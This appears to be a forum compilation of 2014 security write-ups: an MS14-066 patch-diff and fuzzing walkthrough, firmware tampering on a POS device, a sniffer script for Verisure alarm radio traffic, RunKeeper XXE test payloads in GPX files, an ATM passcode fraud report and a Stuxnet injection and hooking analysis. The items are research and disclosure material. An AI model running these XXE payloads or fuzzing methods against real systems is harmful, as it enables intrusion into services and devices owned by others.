Journaling file systems are especially interesting in the way they work and how they are laid out in the image file. Modifying a few bytes in the binary inside the file system involves various levels of modification to the image. First, the whole JFFS2 record that contains the affected bytes needs to be modified. Then the page that contains the specific JFFS2 record needs to be checksumed again. Next you need to write the image back to the physical Flash memory. Finally, you need to re-solder the chip to the board again. I used the example of a POS device. This POS device had tamper protection, but the check for tampering was performed in userland process level, which means that if you can modify the code, the protection is off. So even with very sophisticated hardware devices that detect tampering, a few bytes of code modification nullifies whole physical security concept.

Triggering MS14-066 Posted November 17, 2014 Research Team Microsoft addressed CVE-2014-6321 this Patch Tuesday, which has been hyped as the next Heartbleed. This vulnerability (actually at least 2 vulnerabilities) promises remote code execution in applications that use the SChannel Security Service Provider, such as Microsoft Internet Information Services (IIS). The details have been scarce. Lets fix that. Looking at the bindiff of schannel.dll, we see a few changed functions, several touching the DTLSCookieManager class and various others. There is at least one bug addressed in DTLSCookieManager, but that one is for a different time. The one everyone is worried about in seems to be in schannel!DecodeSigAndReverse(…). A high level view of the changes to DecodeSigAndReverse(…) are presented below. Here we can see that there is some new logic (grey blocks) added to the middle of the patched function (right side). Added branches are always a good sign. If we zoom in on the patched version, the situation looks even more promising. We can now see that the added logic controls a path to a memcpy (actually two memcpys — they wouldn’t both fit in the screenshot). This is an indication that we are looking in the right place. So how do we get here? Lets look at the paths to this function in the unpatched version of schannel.dll So, it appears as though we need to hit ‘ProcessHandshake’ and then craft a ‘ClientVerifyMessage’ in order to hit the changed code. To accomplish this, we should probably check out the TLS/SSL documentation at MSDN. Given the names of the function in the codepath, it would make sense that we are dealing with a Certificate Verify message which is involved in certificate authentication. If we take a closer look at the unpatched function, we can get a key clue from the lpszStructType parameter in the call to CryptDecodeObject. With a quick trip to MSDN, we can see that this parameter is telling us what kind of structure to expect. In this case we have X509_ECC_SIGNATURE and X509_DSS_SIGNATURE. Picking on the ECC_SIGNATURE, the expected structure is defined on MSDN It appears as though there could be an issue with the size parameter to one of the memcpys, probably related to encoding the certificate. At this point with what we know, the fastest way for us to proceed is to look at this function dynamically (with a debugger). So, we created an ECDSA signed certificate with OpenSSL and setup Microsoft IIS with certificate authentication enabled. We then attached a remote debugger to the LSASS process on the IIS box and breakpointed the ECC_SIGNATURE comparison (cmp ebx, 2F). Surprisingly the breakpoint fired when attempting to authenticate using openssl s_client on the first try! Now that we can hit the bad code, the next step is making something cool happen here. Again, to speed up analysis, we decided to modify OpenSSL to fuzz this code path. In OpenSSL, ECDSA signatures for ‘client verify messages’ are handled in the source file s3_clnt.c. The encoded signatures from the client which end up hitting the CryptDecodeObject(…) call in schannel!DecodeSigAndReverse(…) come from a function called ECDSA_sign(…). If we wander down the function ssl3_send_client_verify(…) which eventually calls ECDSA_sign(…), we get to this block which actually handles the ECDSA signing for our client verify message: To clarify this call, the function prototype for ECDSA_sign is as follows: int ECDSA_sign(int type, const unsigned char *dgst, int dgstlen, unsigned char *sig, unsigned int *siglen, EC_KEY *eckey); Reading the documentation for that function we learn that “…The DER encoded signatures is stored in sig and it’s length is returned in sig_len.” Therefore, if we were to use openssl s_client to authenticate to our IIS box and then were to single step through schannel!DecodeSigAndReverse(…), we would see the contents of ‘p’ from the above call to ECDSA_sign(…) being handed to CryptDecodeObject(…) in schannel, which would then be translated and handed off to our bad memcpy block. So, all we really need to do is to edit s3_clnt.c to randomly change one byte in ‘p’ to a random value before sending our Certificate Verify message back to IIS over and over again and wait until something cool happens. And if we wait long enough, it will – we will get a crash in memcpy. Further analysis and exploitation are left as an exercise to the reader. Sursa: Triggering MS14-066 | BeyondTrust

Reverse Engineer a Verisure Wireless Alarm part 1 – Radio Communications by foip on November 16th, 2014 1. Introduction Verisure is a supplier of wireless home alarms and connected services for the home. A Verisure setup can be composed of multiple devices, sensors and/or detectors such as Motion detectors with camera, Magnetic contacts for doors or Windows, Smoke detectors, Keypads, Sirens, etc. Each component of the setup communicates using wireless technology with the central gateway called “Vbox”, it-self monitored by Verisure agents through the Internet and/or 3G connection. As a Verisure customer, I was curious to get a clear view of the design and security measures implemented by the manufacturer. I therefore decided to buy a testing Kit on eBay (120 Euros) to open it and starting an exciting journey inside the boxes. This post is the first part of my Verisure story and aims to observe radio communications between the multiple devices of the alarm. In other words, we will translate the radio communication into binary messages. Please note that Verisure is the new name of Securitas-Direct. You may potentially find both names in my scripts and screenshots. 2. Discovering frequency and modulation We know that 433 MHz and 868 MHz are popular bands for such equipments. Starting our favorite spectrum analyzer (GQRX in this case) confirmed our thoughts by showing some strong pulses while we were pushing random keys on the keypad alarm, located next to the HackRF. In order to get a clear view of the signal, samples were recorded using hackrf_transfer tool and then opened into baudline: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24[/TD] [TD=class: code]$ hackrf_transfer -s 2000000 -f 869000000 -a 0 -r /tmp/hackrf_verisure_s2000000_f869000000_01.iq call hackrf_sample_rate_set(2000000 Hz/2.000 MHz) call hackrf_baseband_filter_bandwidth_set(1750000 Hz/1.750 MHz) call hackrf_set_freq(869000000 Hz/869.000 MHz) call hackrf_set_amp_enable(0) Stop with Ctrl-C 3.9 MiB / 1.000 sec = 3.9 MiB/second 3.9 MiB / 1.000 sec = 3.9 MiB/second 3.9 MiB / 1.000 sec = 3.9 MiB/second 4.2 MiB / 1.000 sec = 4.2 MiB/second 3.9 MiB / 1.000 sec = 3.9 MiB/second 3.9 MiB / 1.000 sec = 3.9 MiB/second 3.9 MiB / 1.000 sec = 3.9 MiB/second 4.2 MiB / 1.000 sec = 4.2 MiB/second ^CCaught signal 2 2.1 MiB / 0.540 sec = 3.9 MiB/second User cancel, exiting... Total time: 8.54128 s hackrf_stop_rx() done hackrf_close() done hackrf_exit() done fclose(fd) done exit[/TD] [/TR] [/TABLE] Nice! Zooming into the signal shows 2 spikes which means that we are probably in front of a 2-FSK modulated signal. 3. Chipsets and datasheets Before going further, it could be interesting to learn a bit more about the micro-controller used by the devices. As you will see, this information is really helpful since it gives us some clues about the potential modulation, ciphering, data encoding, etc. Opening a magnetic contact revealed a CC1110-F16 chip. Briefly, the datasheet informs us about the following capabilities of the chip: Modulation: 2-FSK, GFSK, MSK, ASK, and OOK 128-bit AES supported in hardware coprocessor (so if data looks encrypted, we probably already know which cipher suite is in use) 8051 MCU architecture (needed later for IDA Pro) Optional automatic whitening and de-whitening of data. … Additionally, we know a magical firmware called RFCat which can definitively help us to learn and play with CC1110 chips. RFCat will be largely used in the next parts of our Verisure story. For now, we will focus on GNURadio framework and the HackRF One SDR platform. 4. GNURadio at works 41. A First FFT Let’s build a simple GNURadio flowgraph using the HackRF as a source, plus an FFT Sink. To avoid DC spike in the middle of our signal, we tune the HackRF to 520KHz below the interesting frequency, and then shift back the signal using the Frequency Xlating FIR Filter block. A few GUI sliders are used to control the gain and to provide additional fine-tuning of the frequency. Great. Our supposed 2-FSK modulated signal is back. The center frequency is about 869.036 MHz. . 4.2. Signal filtering and demodulation It is time to start demodulating the signal but first, we need to remove any unwanted noise or adjacent communications. 4.2.1. Filtering Using baudline, we have observed about 38.3 KHz between the MARK and SPACE frequencies, so a deviation of about 19 KHz. In our GNURadio flowgraph, we then apply a Lowpass filter against our signal using a cutoff value of 21 KHz (so a bit more than 19 KHz) and a transition width of 15 KHz: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]firdes.low_pass(1,samp_rate, 21000, 15000)[/TD] [/TR] [/TABLE] 4.2.2. Demodulation As we are facing a potential FSK modulated signal, a new Quadrature Demod block is added to the flowgraph, which will then send the demodulated signal into a WAV file for further analyze. The new flowgraph becomes: Haaaa, by opening our WAV file using Audacity (or any other WAV file editor), the demodulated signal seems to reveal its secrets: a preamble (0101010101…) and a potential synchronization pattern. Let’s go a bit further by slicing the signal into propers 0 and 1. The Binary Slicer block aims to convert all samples above 0 to 1, and sample below 0 to 0. The block is inserted between the demodulator block and the WAV sink. Back to Audacity, this beautiful binary sequence appears… 4.3. Getting sync-word (Access Code) Getting the synchronization word is now only a matter of observing the pattern just after the preamble. Audacity helps to do this by adding a Label layer on top of the WAV signal. The difficulty here is to find the right police character which match (more or less) the flow of our signal. We observe a double SyncWord equal to 0xD391. 4.4. Getting symbol rate and samples per symbol So far so good. The next step is to discover the symbol rate and the samples per symbol needed to convert this signal into a binary sequence (done by the “Clock Recovery” block). 4.4.1. Symbol rate What is “Symbol Rate” ? By symbol, we mean 0 or 1. Thus the question to answer is “How many 0 or 1 do we observe per second?”. I know that better techniques exist to compute this value (I just need to learn them) but right now, I will simply count the number of symbols from the Audacity view: We count about 69 symbols during 0.00180 seconds, which give a symbol rate of 38333 [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11[/TD] [TD=class: code]$ echo -n "010101010101010101010101011010011100100011101001110010001111100001111" | wc -c 69 $ bc bc 1.06.95 Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc.

Actually, I found a more precise value by performing the same exercise on a lager portion of the signal (but making screenshots less clear). The final symbol rate is 38450. 4.4.2. Samples per symbol The number of samples per symbol is one of the most important value needed by the Clock Recovery block. Remember that your SDR device is configured to receive or transmit signal at a specified sample rate. The number of samples per symbol is just the number of samples needed to send one symbol (0 or 1), and is simply computed like this: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]samples_per_symbol = sample_rate / symbol_rate[/TD] [/TR] [/TABLE] We now have everything we need to setup the Clock Recovery block: 4.5. Decoding packets The remaining steps to get digital messages are to recognize the frames using the syncword (done by the Correlate Access Code block) and to decode them (done by the Packet Decoder block). There are a couple of GNURadio blocks dedicated to decoding/encoding packets but since we are dealing with CC1110 devices, we had to create specific blocks able to respect the CC1110 packets format. Further information about these blocks can be found on the following blog post: GNU Radio – CC1111 packets encoder/decoder blocks. The final GNURadio flowgraph is: As you can see, the Packet Decoder (CC1111) block receives a python queue as argument (see Target Message Queue). This is where our decoded messages will be sent out. This flowgraph will actually not be executed as it. Another python script will managed its execution and will pull messages from the python queue, dissect them (as Wireshark would do against a pcap file) and print them out on the screen. Here below is the main script. #!/usr/bin/env python #============================================================= # Securitas-Direct (Verisure) RF sniffer # By Jerome Nokin (http://funoverip.net / @FUNoverip) #============================================================= # # Usage: securitas_rx.py [-k KEY] # # optional arguments: # -k,--key <KEY> Optional AES-128 Key (hexadecimal) # #============================================================= import ctypes import sys import datetime import argparse from grc.verisure_demod import verisure_demod from threading import Thread from Crypto.Cipher import AES from binascii import hexlify, unhexlify from time import sleep # Colors def pink(t): return '\033[95m' + t + '\033[0m' def blue(t): return '\033[94m' + t + '\033[0m' def yellow(t): return '\033[93m' + t + '\033[0m' def green(t): return '\033[92m' + t + '\033[0m' def red(t): return '\033[91m' + t + '\033[0m' # Thread dedicated to GNU Radio flowgraph class flowgraph_thread(Thread): def __init__(self, flowgraph): Thread.__init__(self) self.setDaemon(1) self._flowgraph = flowgraph def run(self): self._flowgraph.Run() #print "FFT Closed/Killed" # AES decryption BS = 16 pad = lambda s : s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])] def aes_decrypt(ciphertext, iv, key, padding=True): cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) if padding: return unpad(plaintext) else: return plaintext # Generate timestamp def get_time(): current_time = datetime.datetime.now().time() return current_time.isoformat() # Print out frames to stdout def dump_frame(frame, aes_iv = None, aes_key = None): # Dissecting frame pkt_len = hexlify(frame[0:1]) unkn1 = hexlify(frame[1:2]) seqnr = hexlify(frame[2:3]) src_id = "".join(hexlify(n) for n in frame[3:7]) dst_id = "".join(hexlify(n) for n in frame[7:11]) data = "" # Payload is a block of 16b and AES key provided ?

Final note The reader has probably observed from the output of the script that an AES-128 key is provided and that payloads are decrypted. The way we recovered the key will be discussed later on. Don’t try this key at home since keys are randomly generated by the VBox. GNURadio flowgraph and python script can be downloaded from https://github.com/funoverip/verisure-alarm. Prerequisite: I’ve used HackRF One as SDR platform but any other SDR device should make the trick. You will need GNURadio 3.7 or above Do not forget to also install the GNURadio gr-cc1111 blocks ! Last but not least, a big thank you to Michael Ossmann for his awesome SDR class. Strongly recommended! Hope you enjoyed this post… Regards.

Identifying Xml eXternal Entity vulnerability (XXE) Here is a small writeup on how a XXE was discover on the website RunKeeper.com. The website, as the name suggest, keep track of your trainings (running, cycling, skying, etc.) The vulnerabilities presented were fixed on June 10th 2014. The website accept the upload of GPX file. The GPX file format is a XML document containing a list of positions with the instant speed, time and elevation. GPX file Here is an example of GPS file in the GPX format. The only important aspect is that it is XML based.

XXE stands for Xml eXternal Entity. These attacks have gain momentum recently following various publications. Note that the current article doesn't explain in dept XXE. It focus on tips and methodology to identify the vulnerability and the parser capabilities. The tests presented are those that were effective on the old version of RunKeeper. Step 1 : Confirmation that entities are interpreted In our first attempt, we need to confirm that entity are interpreted in there most basic form. We replace value with an inline entity. If it loads properly, then the replacement must have occurs. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13[/TD] [TD=class: code]<!DOCTYPE foo [<!ENTITY xxe "35.460997739" > ]> <gpx creator="EliteGPS" version="1.0" xmlns="GPX: the GPS Exchange Format"> <time>2014-06-07T20:04:44.453Z</time> <bounds maxlat="35.461644151" maxlon="-73.562228351" minlat="35.437931663" minlon="-73.610299487"> <trk> <trkseg> <trkpt lat="&xxe;" lon="-73.568049331"> <ele>22.600000</ele> <time>2014-06-07T18:06:16Z</time> <speed>0.000000</speed> </trkpt> </trkseg></trk> </bounds></gpx>[/TD] [/TR] [/TABLE] Step 2 : Confirmation that SYSTEM entities are usable We can now try loading external resources from a host we control. The resources can be hosted on a HTTP server, FTP server or even Samba shares in the case of intranet application. RunKeeper only look at position, time and other numeric values. The string values from the metadata are not used. Therefore, it is not possible to get a direct response after the upload of a GPX file. If the destination is a server we control, we would receive a connection if external entities are activated. Assuming a strict firewall restrictions is in place, all common ports should be tested (23, 80, 443, 8080, ...). evil.gpx [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15[/TD] [TD=class: code]<!DOCTYPE foo [<!ENTITY xxe SYSTEM "I'm Feeling Lucky" > ]> <gpx creator="EliteGPS" version="1.0" xmlns="GPX: the GPS Exchange Format"> <desc>&xxe;</desc> <time>2014-06-07T20:04:44.453Z</time> <bounds maxlat="35.461644151" maxlon="-73.562228351" minlat="35.437931663" minlon="-73.610299487"> <trk> <trkseg> <trkpt lat="35.460997739" lon="-73.568049331"> <ele>22.600000</ele> <time>2014-06-07T18:06:16Z</time> <speed>0.000000</speed> </trkpt> </trkseg></trk> </bounds> </gpx>[/TD] [/TR] [/TABLE] Right after the upload, our server receive the following request.

Default ATM passcodes still exploited by crooks Posted on 14 November 2014. Once again, ATMs have been "hacked" by individuals taking advantage of default, factory-set passcodes. This time the passcode hasn't been guessed, or ended up online for everyone to know because it was printed in the ATM's service manual - the individual who, with the help of an accomplice, managed to cash out $400,000 in 18 months was a former employee of the company that operated the kiosk ATMs they targeted. Tennessee-based Khaled Abdel Fattah had insider knowledge of the code that, when typed in, set the machines into Operator Mode, which allowed him and accomplice Chris Folad to reconfigure the ATM to dispense $20 bills when asked for $1 dollar ones. They would do this, then ask the machine to dispense, for example, $20, and they would get away with $400. After this, they would revert back the change so that the theft would go unnoticed. And it took 18 months for this to happen - the owner of one the businesses where one of these kiosk ATMs was set up noted that there was a problem when the machine was running out of money. What ultimately led the Secret Service to the two fraudsters was the fact that their faces were captured by surveillance cameras and they used their own debit cards to make withdrawals. They also stuck to a rather limited set of ATMs, all located in Nashville. According to Wired, both men have been charged with 30 counts of computer fraud and conspiracy. This is not the first time that ATM heists like this happened. Around 2005, service manuals of ATMs manufactured by Tranax and Trident ended up online, and contained the passcodes that allowed anyone to access their Operator Mode. Street crooks began taking advantage of the fact, but it took over 18 months for the wider public to discover it. This forced the ATM vendors in question to make it mandatory for operators to change this default password when installing the machine. But unfortunately, there are many ATMs with the old system still out there, and still vulnerable. Sursa: Default ATM passcodes still exploited by crooks

[h=3]Stuxnet - User/Kernel-Mode analysis[/h] [h=3]Stuxnet - User/Kernel-Mode analysis[/h] Today I'll be taking a look at Stuxnet, and at a kernel level mostly (as usual) more than its impact on user-mode. I'll still however be going over a few user-mode things as it ties in with our kernel level discussion. I also won't go in-depth regarding all of the ways Stuxnet uses its four-slot toolbelt of zero-day flaws, and a lot of other Stuxnet's methods of attack (network, etc). ESET, Symantec, and others have done a fantastic job in that regard. What is Stuxnet? First of all, it's important (and a bit hilarious) to know the story behind Stuxnet. If you're researching Stuxnet for the first time, it's really easy to get confused. There's finger pointing, claims, supposed "confirmed sources", etc, left and right. I'll briefly go over it. For example: Confirmed: US and Israel created Stuxnet, lost control of it. The article is adapted from journalist David Sanger's forthcoming book, Confront and Conceal: Obama’s Secret Wars and Surprising Use of American Power, and it confirms that both the US and Israeli governments developed and deployed Stuxnet. Obama Order Sped Up Wave of Cyberattacks Against Iran. Computer security experts who began studying the worm, which had been developed by the United States and Israel, gave it a name: Stuxnet. US unleashed Stuxnet cyber war on Iran to appease Israel – report. The US and Israel made the Stuxnet virus as a new kind of weapon targeted against Iran, a media investigation revealed. The operation reportedly started in the Bush era, but was intensified by Obama administration. Snowden confirms NSA created Stuxnet with Israeli aid. “The NSA and Israel wrote Stuxnet together,” Snowden told Applebaum in the interview that was carried out in May. The big TLDR is here - Operation Olympic Games. My initial reaction was "What the hell am I reading?", and it still sort of is. It goes on and on. All in all, after reading the above, you're likely inclined to believe that the US (and maybe even Israel) were behind Stuxnet. Whether or not this is true is a story for another day, although it's easier to lean towards 'yes' than it is to 'no'. The reason for this is due to the fact that Stuxnet as I discussed above used four zero-day flaws within Windows. It's a pretty big deal when malware exploits one zero-day flaw within the OS, but four is extremely high. It's also pretty laughable to think that Stuxnet was created by amateurs not invested in any sort of organization regarding cyber warfare, etc of some sort, or amateurs in general. A lot of amateurs make malware for a lot of reasons, but causing nuclear centrifuges to commit suicide is pretty advanced. Aside from the many reasons to believe the answer is yes, some may lean towards no, and it's largely due to the fact that most cannot imagine the US and Israel working closely together to create something like Stuxnet. I digress, and in any case, I'm not here to discuss politics or debate the true creator(s), so let's just get to the part where we talk about what Stuxnet was primarily created for. Stuxnet is a worm that was developed primarily to target industrial PLCs, which led to the nuclear centrifuges ultimately destroying themselves. The malware obviously couldn't be outright sent to the nuclear facilities themselves, so this is where its USB attack vector comes into play. More notably known as a supply chain attack: So the creators of Stuxnet, they were thinking that these companies would do some communications with power plant workers; maybe exchange with USB devices. That’s probably how Stuxnet infected the system. Stuxnet patient zero: Kaspesky Lab identifies worm’s first victims in Iran. In the end, Stuxnet ended up destroying nearly one-fifth of Iran's centrifuges. In November 2010, it was reported that uranium enrichment within the Natanz nuclear facility had halted several times due to severe technical issues. User-Mode Stuxnet has two ways of injecting itself into the address space of a process and then executing exported functions. Stuxnet's user-mode modules are implemented as DLLs, and the first method is done by injecting itself into a preexisting process. Preexisting Process Inject 1. Allocates a memory buffer in the calling process for the modules to be loaded. 2. Patches ntdll and hooks the following APIs: ZwMapViewOfSection. ZwCreateSection. ZwOpenFile. ZwClose. ZwQueryAttributesFile. ZwQuerySection. Here's what a clean (unpatched) ntdll MZ header looks like: We can see some of these hooks in action: ServiceDescriptor n°0 --------------------- ServiceTable : nt!KiServiceTable (804e26a8) ParamTableBase : nt!KiArgumentTable (80510088) NumberOfServices : 0000011c Index Args Check System call ----- ---- ----- ----------- 0019 0001 HOOK-> f8c5761c ##### Original -> nt!NtClose (805678dd) 0029 0007 HOOK-> f8c575d6 ##### Original -> nt!NtCreateKey (8057065d) 0032 0007 HOOK-> f8c57626 ##### Original -> nt!NtCreateSection (805652b3) 0035 0008 HOOK-> f8c575cc ##### Original -> nt!NtCreateThread (8058e63f) 003F 0001 HOOK-> f8c575db ##### Original -> nt!NtDeleteKey (805952be) 0041 0002 HOOK-> f8c575e5 ##### Original -> nt!NtDeleteValueKey (80592d50) 0044 0007 HOOK-> f8c57617 ##### Original -> nt!NtDuplicateObject (805715e0) 0062 0002 HOOK-> f8c575ea ##### Original -> nt!NtLoadKey (805aed5d) 007A 0004 HOOK-> f8c575b8 ##### Original -> nt!NtOpenProcess (805717c7) 0080 0004 HOOK-> f8c575bd ##### Original -> nt!NtOpenThread (8058a1bd) 00B1 0006 HOOK-> f8c5763f ##### Original -> nt!NtQueryValueKey (8056a1f1) 00C1 0003 HOOK-> f8c575f4 ##### Original -> nt!NtReplaceKey (8064f0fa) 00C8 0003 HOOK-> f8c57630 ##### Original -> nt!NtRequestWaitReplyPort (80576ce6) 00CC 0003 HOOK-> f8c575ef ##### Original -> nt!NtRestoreKey (8064ec91) 00D5 0002 HOOK-> f8c5762b ##### Original -> nt!NtSetContextThread (8062dcdf) 00ED 0003 HOOK-> f8c57635 ##### Original -> nt!NtSetSecurityObject (8059b19b) 00F7 0006 HOOK-> f8c575e0 ##### Original -> nt!NtSetValueKey (80572889) 00FF 0006 HOOK-> f8c5763a ##### Original -> nt!NtSystemDebugControl (80649ce3) 0101 0002 HOOK-> f8c575c7 ##### Original -> nt!NtTerminateProcess (805822e0) If we for example go ahead and disassemble our hooked nt!NtClose function, we see the following: lkd> u 0xFFFFFFFFF8C5761C L1 f8c5761c e92d8b23fe jmp f6e9014e We have a hook regarding nt!NtClose and a jump. Classic rootkit behavior.

just a table of jumps. It's used primarily as a lookup table when an application is calling a function in a different module. Compiled programs cannot know the memory locations of the libraries they depend on, therefore an indirect jump (jmp) is required whenever an API call is made. In the above code we can see jumps to functions such as USER32.GetKeyboardLayout, which is a wrapper for the NtUserLoadKeyboardLayoutEx win32k syscall. This is in regards to Stuxnet's keyboard layout vulnerability (CVE-2010-2743), which is one of four exploitative ways used to escalate privileges in order to reach ring 0. I would have loved to set a breakpoint on win32k!NtUserLoadKeyboardLayoutEx and trace the malware as it's extremely interesting, but setting breakpoints is not possible on an LKD session. I would have needed to break in to another physical machine (which I don't have), or set up a host > virtual COM port, which is a bit of a pain. I'll chalk it up to something to do on a rainy day. Call me lazy... I know. 3. Calls LoadLibraryW which is exported from kernel32.dll and passes it as a parameter for specially crafted file names such as: KERNEL32.DLL.ASLR.[HEX] or SHELL32.DLL.ASLR.[HEX]. Below we can see an example of a KERNEL32 variant: 4. Calls desired exported function. 5. Calls FreeLibrary function to free load library. New Process Inject The second method of injection is done through injecting a newly created process, as such: 1. Creates host process. 2. Replaces process image with the Stuxnet module to execute and with code that will load the module and call a specificed export passing parameters. There's a few different image names that can be chosen as the host process for the module: lsass.exe - MSFT system process in charge of enforcing the security policy. avp.exe - Kaspersky. mcshield.exe - McAfee VirusScan. avguard.exe - Avira Personal Edition. bdagent.exe - Bitdefender Switch Agent. UmxCfg.exe - eTrust Configuration Engine (HIPS). fsdfwd.exe - F-Secure. rtvscan.exe - Symantec Real time Virus Scan Service. ccSvchst.exe - Symantec Service Framework. ekrn.exe - ESET Service Process. tmproxy.exe - TrendMicro (PC-cillin in Australia and Virus Buster in Japan). Malware Execution and Infection First of all, to even successfully execute the malware you need to set your system time to before June 24th, 2012. This is due to the fact that Stuxnet hard-coded a poison pill to fully delete itself on June 24th, 2012. This was most likely done with the original idea in mind that Stuxnet wouldn't escape the nuclear facilities, which would allow time for Stuxnet to be reversed and ultimately defeated. This piece of malware wanted to stay inside nuclear facilities, target Siemens systems, cause large actual damage, spread to cause more damage, and then go ghost. Fortunately, it did happen to escape its intended environment (some even speculate deliberately) and was inevitably reversed and defeated long before its hard-coded deletion date. First of all, let's take a pre-infected look at the system with Autoruns + Process Explorer: (Ignore the file not found messages) Note the checked filter options > Verify code signatures + Hide Microsoft entries. Everything looks to be pretty normal, and nothing really out of the ordinary. We can see we have one instance of lsass.exe. Now let's turn things up a bit by executing the malware, and then comparing our results from pre-infection: We can see now within Autoruns we have two new services - MRxCls and MRxNet. These are Stuxnet's kernel-mode drivers which enable its rookit functionality. One big thing about malware that surfaces to the face of the public media (for whatever reason, we'll assume popularity/intention) is that journalists love to spin it and give awkward buzzwords - Undefeatable, The Most Sophisticated Malware, etc. Was Stuxnet an elborate piece of code? Yes, absolutely. Not only was knowledge needed regarding your typical rootkit/Win development, but heavy reverse engineering knowledge regarding Semens software was necessary as well. However, one of Stuxnet's biggest weak points was its immense lack of anti-debugging/reversing techniques. Among a slew of reasons such as zero VM obfuscation, you can literally use the default regedit to find the locations of both MRxCLS and MRxNet. For example: This had led Stuxnet to be something of a joke among some reverse engneers and analysts, even moreso if you believe that it was created by [insert government]. It's hard to imagine [insert government] wouldn't go to any lengths at all to hide its malware, but then again you never really know, right? : ) I'll continue the discussion regarding its kernel-mode functionality a little later as I'd like to swing back to user-mode real quick. I couldn't get Process Explorer to run after infection, as the VM would bugcheck. I have no idea why, and AFAIK Stuxnet doesn't employ anti-debugging against Sysinternals tools by any means, so it was likely a buggy sample. I digress, and used VMmap instead: We can see there's now three instances of lsass.exe, two of which are fake (newly created host processes). So first off, which is our legitmate lsass.exe? Well, 2/3 are the only ones above 1xxx regarding PID, so let's assume the only one not above 1xxx is legitimate: If sort by Protection regarding the tabs, we can see it's mostly Execute/Read which doesn't raise any red flags. Let's assume for the moment this is legitimate and take a look at another one: Uh oh, we can see two instances of memory that was chosen to share from this lsass.exe that has Write permissions in addition to Execute and Read. When a process has all three, it's a huge red flag for a fake/compromised process. In addition, note how the Size>Commited>Total Working Set, etc are equal. We can now at this point determine PID 648 is legitimate, and PID 1812 is fake. We can also at this point then assume that PID 1840 is fake as well: Yep! In this case, we have five instances of memory that was chosen to be shared with R/W/E permissions, in addition to ntdll with R/W/E permissions as well. Note the Size>Commited>Total Working Set, etc equals again as well. At this point we can fully determine 1812 and 1840 are our fake lsass.exe instances, and 1840 is in relation to the patching of ntdll. Let's further compare the three images based on their strings: (PID 648 - legit) (PID 1812 - fake #1) Note we have quite the changes here, with the important being "!This program cannot run in DOS mode.". This is the classic MZ exe format used for .exe files within DOS. We can note the ASCII string - 4D. Let's take a look at the bottom of the string list: (PID 1812 - fake #1) We can see a number of functions, such as InternetOpen. We can at this point determine the DLL was successfully injected into this image of lsass.exe. We can of course expect similar results with PID 1840: (PID 1840 - fake #2) We can also see abnormal termination of the NT Kernel, as well as a jmp: Another big red flag of a malformed image. Let's head back to discussing our kernel-mode drivers, MRxCls and MRxNet. As noted above, these two drivers aren't packed whatsoever with a protector nor packer, so inspecting them in-depth is painless: First off, both of these drivers were digitally signed (albeit fake... what a surprise) to fool the user into believing it was a legitmate driver signed off as such by VeriSign. For example: We can see MRxCls was fake-signed by VeriSign which claimed to be from Realtek. Realtek is obviously a legitimate company and releases lots of software/drivers for their products, such as audio, so this would fool a user if they ever questioned the legitimacy of the apparent MRxCls/Net drivers. Using SwishDbgExt, let's dump the list of objects: lkd> !ms_object Object: \ (Directory) |------|----------------------|--------------------|---------------------------------------------------------------------------| | Hdle | Object Type | Addr | Name | |------|----------------------|--------------------|---------------------------------------------------------------------------| | 0000 | Directory | 0xFFFFFFFFE100D748 | ArcName | | 0000 | Device | 0xFFFFFFFF821C75C0 | Ntfs | | 0000 | Port | 0xFFFFFFFFE15EABB8 | SeLsaCommandPort | | 0000 | Key | 0xFFFFFFFFE1010478 | \REGISTRY | | 0000 | Port | 0xFFFFFFFFE186B9E8 | ThemeApiPort | | 0000 | Port | 0xFFFFFFFFE1B05230 | XactSrvLpcPort | | 0000 | Directory | 0xFFFFFFFFE15AA4B8 | NLS | | 0000 | SymbolicLink | 0xFFFFFFFFE1008748 | DosDevices | | 0000 | Port | 0xFFFFFFFFE13D4B68 | SeRmCommandPort | | 0000 | Port | 0xFFFFFFFFE173BA00 | LsaAuthenticationPort | | 0000 | Device | 0xFFFFFFFF82063A90 | Dfs | | 0000 | Event | 0xFFFFFFFF821EF5C0 | | | 0000 | Directory | 0xFFFFFFFFE100E838 | Driver Notice the strange 'Driver' object with a 'Directory' type.

As we can see, Stuxnet attached to cdfs.sys, which is part of the filesystem, specifically the CD-ROM filesystem driver. Other filesystem drivers it attaches to are: ntfs.sys, and fastfat.sys. After attaching, Stuxnet manages the driver object, which in turn provides Stuxnet with the ability to succesfully intercept IRP requests. Other than checking regedit, we can also confirm the existence of the MRxCls service within the registry using the !dreg command, which displays formatted registry key information. Before we do this however, we need to load ntsdexts.dll, or we'll get the following: lkd> !dreg System\CurrentControlSet\Services No export dreg found This is due to the fact that ntsdexts.dll isn't of course loaded in the extension DLL chain list: lkd> .chain Extension DLL search Path: C:\Program Files\Debugging Tools for Windows (x86)\WINXP;C:\Program Files\Debugging Tools for Windows (x86)\winext;C:\Program Files\Debugging Tools for Windows (x86)\winext\arcade;C:\Program Files\Debugging Tools for Windows (x86)\pri;C:\Program Files\Debugging Tools for Windows (x86);C:\Program Files\Debugging Tools for Windows (x86)\winext\arcade;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem Extension DLL chain: dbghelp: image 6.12.0002.633, API 6.1.6, built Mon Feb 01 15:08:26 2010 [path: C:\Program Files\Debugging Tools for Windows (x86)\dbghelp.dll] ext: image 6.12.0002.633, API 1.0.0, built Mon Feb 01 15:08:31 2010 [path: C:\Program Files\Debugging Tools for Windows (x86)\winext\ext.dll] exts: image 6.12.0002.633, API 1.0.0, built Mon Feb 01 15:08:24 2010 [path: C:\Program Files\Debugging Tools for Windows (x86)\WINXP\exts.dll] kext: image 6.12.0002.633, API 1.0.0, built Mon Feb 01 15:08:22 2010 [path: C:\Program Files\Debugging Tools for Windows (x86)\winext\kext.dll] kdexts: image 6.1.7650.0, API 1.0.0, built Mon Feb 01 15:08:19 2010 [path: C:\Program Files\Debugging Tools for Windows (x86)\WINXP\kdexts.dll] After loading it however with .load ntsdexts, we can 